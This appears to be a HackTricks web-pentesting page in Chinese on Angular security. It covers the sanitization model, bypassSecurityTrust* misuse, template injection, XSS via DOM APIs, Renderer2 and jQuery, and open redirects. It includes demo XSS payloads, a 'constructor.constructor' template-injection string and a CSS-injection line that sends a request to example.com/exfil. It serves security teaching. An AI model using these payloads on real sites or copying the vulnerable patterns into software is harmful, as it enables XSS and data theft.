> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/network-services-pentesting/pentesting-web/angular.md).

# Angular

## 检查清单

检查清单[在这里](https://lsgeurope.com/post/angular-security-checklist)。

* [ ] Angular被视为客户端框架，不应提供服务器端保护
* [ ] 项目配置中已禁用脚本的Sourcemap
* [ ] 不可信用户输入在在用于模板之前始终进行插值或清理
* [ ] 用户无法控制服务器端或客户端模板
* [ ] 不可信用户输入在被应用程序信任之前使用适当的安全上下文进行清理
* [ ] 不要使用`BypassSecurity*`方法处理不可信输入
* [ ] 不要将不可信用户输入传递给Angular类，如`ElementRef`，`Renderer2`和`Document`，或其他JQuery/DOM接收器

## 什么是Angular

Angular是由**Google**维护的**强大**且**开源**的前端框架。它使用**TypeScript**来增强代码的可读性和调试性。具有强大的安全机制，Angular可以防止常见的客户端漏洞，如**XSS**和**开放式重定向**。它也可以在**服务器端**使用，因此从**两个角度**考虑安全性是很重要的。

## 框架架构

为了更好地理解Angular的基础知识，让我们了解其基本概念。

通常，常见的Angular项目看起来像：

```bash
my-workspace/
├── ... #workspace-wide configuration files
├── src
│   ├── app
│   │   ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│   │   ├── app.component.ts #defines the logic for the application's root component
│   │   ├── app.component.html #defines the HTML template associated with the root component
│   │   ├── app.component.css #defines the base CSS stylesheet for the root component
│   │   ├── app.component.spec.ts #defines a unit test for the root component
│   │   └── app-routing.module.ts #provides routing capability for the application
│   ├── lib
│   │   └── src #library-specific configuration files
│   ├── index.html #main HTML page, where the component will be rendered in
│   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
```

根据文档，每个Angular应用程序至少有一个组件，即根组件（`AppComponent`），它将组件层次结构与DOM连接起来。每个组件定义一个包含应用程序数据和逻辑的类，并与定义要在目标环境中显示的视图的HTML模板相关联。`@Component()`装饰器将其下方的类标识为组件，并提供模板和相关的组件特定元数据。`AppComponent`定义在`app.component.ts`文件中。

Angular NgModules为一组组件声明了一个编译上下文，专门用于应用程序域、工作流程或一组密切相关的功能。每个Angular应用程序都有一个根模块，通常命名为`AppModule`，它提供了启动应用程序的引导机制。一个应用程序通常包含许多功能模块。`AppModule`定义在`app.module.ts`文件中。

Angular的`Router` NgModule提供了一个服务，让您在应用程序中定义不同应用程序状态和视图层次之间的导航路径。`RouterModule`定义在`app-routing.module.ts`文件中。

对于与特定视图无关且希望在组件之间共享的数据或逻辑，您可以创建一个服务类。服务类定义紧随`@Injectable()`装饰器之后。该装饰器提供元数据，允许其他提供者作为依赖项注入到您的类中。依赖注入（DI）使您可以保持组件类的精简和高效。它们不会从服务器获取数据，验证用户输入或直接记录到控制台；它们将这些任务委托给服务。

## Sourcemap配置

Angular框架通过遵循`tsconfig.json`选项将TypeScript文件转换为JavaScript代码，然后使用`angular.json`配置构建项目。查看`angular.json`文件，我们观察到一个选项可以启用或禁用sourcemap。根据Angular文档，默认配置为脚本启用了sourcemap文件，并且默认情况下不会隐藏：

```json
"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}
```

## 数据绑定

绑定是指组件与其对应视图之间的通信过程。它用于在 Angular 框架中传输数据。数据可以通过各种方式传递，例如通过事件、插值、属性，或通过双向绑定机制。此外，数据还可以在相关组件（父子关系）之间共享，也可以通过 Service 功能在两个不相关的组件之间共享。

我们可以通过数据流来分类绑定：

* 数据源到视图目标（包括插值、属性、属性、类和样式）；可以通过在模板中使用 `[]` 或 `{{}}` 来应用；
* 视图目标到数据源（包括事件）；可以通过在模板中使用 `()` 来应用；
* 双向绑定；可以通过在模板中使用 `[()]` 来应用。

绑定可以应用于属性、事件和属性，以及源指令的任何公共成员：

| 类型   | 目标             | 示例                                                                   |
| ---- | -------------- | -------------------------------------------------------------------- |
| 属性   | 元素属性、组件属性、指令属性 | `<img [alt]="hero.name" [src]="heroImageUrl">`                       |
| 事件   | 元素事件、组件事件、指令事件 | `<button type="button" (click)="onSave()">Save`                      |
| 双向绑定 | 事件和属性          | `<input [(ngModel)]="name">`                                         |
| 属性   | 属性（例外）         | `<button type="button" [attr.aria-label]="help">help`                |
| 类    | 类属性            | `<div [class.special]="isSpecial">Special`                           |
| 样式   | 样式属性           | `<button type="button" [style.color]="isSpecial ? 'red' : 'green'">` |

## Angular 安全模型

Angular 的设计默认包括对所有数据进行编码或净化，这使得在 Angular 项目中发现和利用 XSS 漏洞变得越来越困难。数据处理有两种不同的场景：

1. 插值或 `{{user_input}}` - 执行上下文敏感的编码，并将用户输入解释为文本；

```jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}
```

结果：`&lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt;` 2. 绑定到属性、属性、类和样式或 `[attribute]="user_input"` - 根据提供的安全上下文执行净化。

```jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>
```

结果：`<div><h1>test</h1></div>`

有 6 种 `SecurityContext` 类型：

* `None`；
* `HTML` 用于将值解释为 HTML 时使用；
* `STYLE` 用于将 CSS 绑定到 `style` 属性时使用；
* `URL` 用于 URL 属性，例如 `<a href>`；
* `SCRIPT` 用于 JavaScript 代码；
* `RESOURCE_URL` 用于作为代码加载和执行的 URL，例如在 `<script src>` 中。

## 漏洞

### 绕过安全信任方法

Angular 引入了一系列方法来绕过其默认的净化过程，并指示某个值可以在特定上下文中安全使用，如以下五个示例所示：

1. `bypassSecurityTrustUrl` 用于指示给定值是安全的样式 URL：

```jsx
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>

//result
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
```

2. `bypassSecurityTrustResourceUrl` 用于指示给定值是安全的资源 URL：

```jsx
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//result
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
```

3. `bypassSecurityTrustHtml` 用于指示给定值是安全的 HTML。请注意，以这种方式将 `script` 元素插入 DOM 树不会导致执行其中包含的 JavaScript 代码，因为这些元素是如何添加到 DOM 树的。

```jsx
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//result
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
```

4. `bypassSecurityTrustScript` 用于指示给定值是安全的 JavaScript。然而，我们发现其行为是不可预测的，因为我们无法使用此方法在模板中执行 JS 代码。

```jsx
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//result
-
```

5. `bypassSecurityTrustStyle` 用于指示给定值是安全的 CSS。以下示例说明了 CSS 注入：

```jsx
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//result
Request URL: GET example.com/exfil/a
```

Angular 提供了一个 `sanitize` 方法，在在将数据显示在视图之前对其进行净化。该方法使用提供的安全上下文并相应地清理输入。然而，对于特定数据和上下文，使用正确的安全上下文至关重要。例如，在 HTML 内容上应用具有 `SecurityContext.URL` 的净化器并不提供对危险 HTML 值的保护。在这种情况下，错误使用安全上下文可能导致 XSS 漏洞。

```jsx
//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>
```

结果是 `<div><h1>测试</h1></div>`。

### 模板注入

#### 客户端渲染（CSR）

Angular利用模板动态构建页面。该方法涉及将Angular用于评估的模板表达式置于双大括号内（`{{}}`）。通过这种方式，该框架提供了额外的功能。例如，一个模板如 `{{1+1}}` 将显示为2。

通常，Angular会转义可能与模板表达式混淆的用户输入（例如，字符 \`< > ' " \`\）。这意味着需要采取额外步骤来规避此限制，例如利用生成JavaScript字符串对象的函数，以避免使用被列入黑名单的字符。然而，要实现这一点，我们必须考虑Angular的上下文、其属性和变量。因此，模板注入攻击可能如下所示：

```jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})
```

#### 服务器端渲染（SSR）

与CSR不同，CSR发生在浏览器的DOM中，Angular Universal负责模板文件的SSR。然后将这些文件传送给用户。尽管有这种区别，Angular Universal应用了与CSR中相同的净化机制来增强SSR的安全性。在SSR中，可以像在CSR中一样发现模板注入漏洞，因为所使用的模板语言是相同的。

当使用第三方模板引擎（如Pug和Handlebars）时，也存在引入新的模板注入漏洞的可能性。

### XSS

#### DOM接口

如前所述，我们可以使用\_Document\_接口直接访问DOM。如果用户输入未经事先验证，可能会导致跨站脚本（XSS）漏洞。

我们在下面的示例中使用了`document.write()`和`document.createElement()`方法：

```jsx
//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}
```

#### Angular类

在Angular中可以使用一些类来处理DOM元素：`ElementRef`、`Renderer2`、`Location`和`Document`。关于最后两个类的详细描述在**开放重定向**部分中给出。前两者的主要区别在于`Renderer2` API在DOM元素和组件代码之间提供了一层抽象，而`ElementRef`只是保存对元素的引用。因此，根据Angular文档，只有在需要直接访问DOM时才应该使用`ElementRef` API。

* `ElementRef`包含属性`nativeElement`，可用于操作DOM元素。然而，不正确使用`nativeElement`可能导致XSS注入漏洞，如下所示：

```tsx
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
```

* 尽管`Renderer2`提供的API可以安全地在不支持对原生元素的直接访问时使用，但它仍然存在一些安全漏洞。使用`Renderer2`，可以使用`setAttribute()`方法在HTML元素上设置属性，该方法没有XSS预防机制。

```tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
```

* 要设置DOM元素的属性，可以使用`Renderer2.setProperty()`方法并触发XSS攻击：

```tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>
```

在我们的研究过程中，我们还检查了其他`Renderer2`方法的行为，如`setStyle()`、`createComment()`和`setValue()`，以及与XSS和CSS注入相关的关系。然而，由于它们的功能限制，我们无法找到这些方法的任何有效攻击向量。

#### jQuery

jQuery是一个快速、小巧且功能丰富的JavaScript库，可以在Angular项目中用于操作HTML DOM对象。然而，众所周知，该库的方法可能被利用以实现XSS漏洞。为了讨论一些易受攻击的jQuery方法如何在Angular项目中被利用，我们添加了这个子部分。

* `html()`方法获取匹配元素集合中第一个元素的HTML内容，或设置每个匹配元素的HTML内容。然而，根据设计，任何接受HTML字符串的jQuery构造函数或方法都可能执行代码。这可以通过注入`<script>`标签或使用执行代码的HTML属性来实现，如示例所示。

```tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Click me</button>
<p>some text here</p>
```

* `jQuery.parseHTML()`方法使用原生方法将字符串转换为一组DOM节点，然后可以将其插入文档中。

```tsx
jQuery.parseHTML(data [, context ] [, keepScripts ])
```

如前所述，大多数接受HTML字符串的jQuery API将运行在HTML中包含的脚本。`jQuery.parseHTML()`方法不会在解析的HTML中运行脚本，除非`keepScripts`显式设置为`true`。然而，在大多数环境中仍然可能间接执行脚本；例如，通过`<img onerror>`属性。

```tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Click me</button>
<p id="palias">some text</p>
```

### 开放重定向

#### DOM接口

根据W3C文档，`window.location`和`document.location`对象在现代浏览器中被视为别名。这就是为什么它们具有一些方法和属性的相似实现，这可能导致开放重定向和DOM XSS，特别是在`javascript://`模式攻击中。

* `window.location.href`(和`document.location.href`)

获取当前DOM位置对象的规范方式是使用`window.location`。它也可以用于将浏览器重定向到新页面。因此，控制此对象使我们能够利用开放重定向漏洞。

```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
```

对于以下情况，利用过程是相同的。

* `window.location.assign()`(和`document.location.assign()`)

此方法导致窗口加载并显示指定URL的文档。如果我们控制此方法，它可能成为开放重定向攻击的漏洞点。

```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
```

* `window.location.replace()`(和`document.location.replace()`)

此方法用提供的URL替换当前资源。

与`assign()`方法的不同之处在于使用`window.location.replace()`后，当前页面不会保存在会话历史中。然而，当我们控制此方法时，仍然可能利用开放重定向漏洞。

```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
```

* `window.open()`

`window.open()`方法接受一个URL，并将其标识的资源加载到新的或现有的标签或窗口中。控制此方法也可能是触发XSS或开放重定向漏洞的机会。

```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}
```

#### Angular类

* 根据Angular文档，Angular `Document`与DOM文档相同，这意味着可以使用常见的向量来利用Angular中的客户端漏洞。`Document.location`属性和方法可能成为成功的开放重定向攻击的漏洞点，如示例所示：

```tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
```

* 在研究阶段，我们还审查了Angular `Location`类是否存在开放重定向漏洞，但没有找到有效的向量。`Location`是一个Angular服务，应用程序可以使用它与浏览器的当前URL进行交互。该服务有几种方法来操作给定的URL - `go()`、`replaceState()`和`prepareExternalUrl()`。然而，我们不能将它们用于重定向到外部域。例如：

```tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}
```

结果：`http://localhost:4200/http://google.com/about`

* Angular `Router`类主要用于在同一域内导航，并不会为应用程序引入任何额外的漏洞：

```jsx
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]
```

结果：`http://localhost:4200/https:`

以下方法也在域范围内导航：

```jsx
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')
```

## 参考资料

* [Angular](https://angular.io/)
* [Angular安全性：权威指南（第1部分）](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-1)
* [Angular安全性：权威指南（第2部分）](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-2)
* [Angular安全性：权威指南（第3部分）](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-3)
* [Angular安全性：检查清单](https://lsgeurope.com/post/angular-security-checklist)
* [工作区和项目文件结构](https://angular.io/guide/file-structure)
* [组件和模板简介](https://angular.io/guide/architecture-components)
* [源映射配置](https://angular.io/guide/workspace-config#source-map-configuration)
* [绑定语法](https://angular.io/guide/binding-syntax)
* [Angular上下文：嵌套组件树和路由器出口的简单数据绑定](https://medium.com/angular-in-depth/angular-context-easy-data-binding-for-nested-component-trees-and-the-router-outlet-a977efacd48)
* [消毒和安全上下文](https://angular.io/guide/security#sanitization-and-security-contexts)
* [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom_security_schema.ts)
* [Angular和AngularJS中的XSS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
* [Angular Universal](https://angular.io/guide/universal)
* [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss)
* [Angular ElementRef](https://angular.io/api/core/ElementRef)
* [Angular Renderer2](https://angular.io/api/core/Renderer2)
* [Renderer2示例：在Angular中操作DOM - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)
* [jQuery API文档](http://api.jquery.com/)
* [当您绝对必须时如何在Angular中使用jQuery](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9)
* [Angular Document](https://angular.io/api/common/DOCUMENT)
* [Angular Location](https://angular.io/api/common/Location)
* [Angular Router](https://angular.io/api/router/Router)
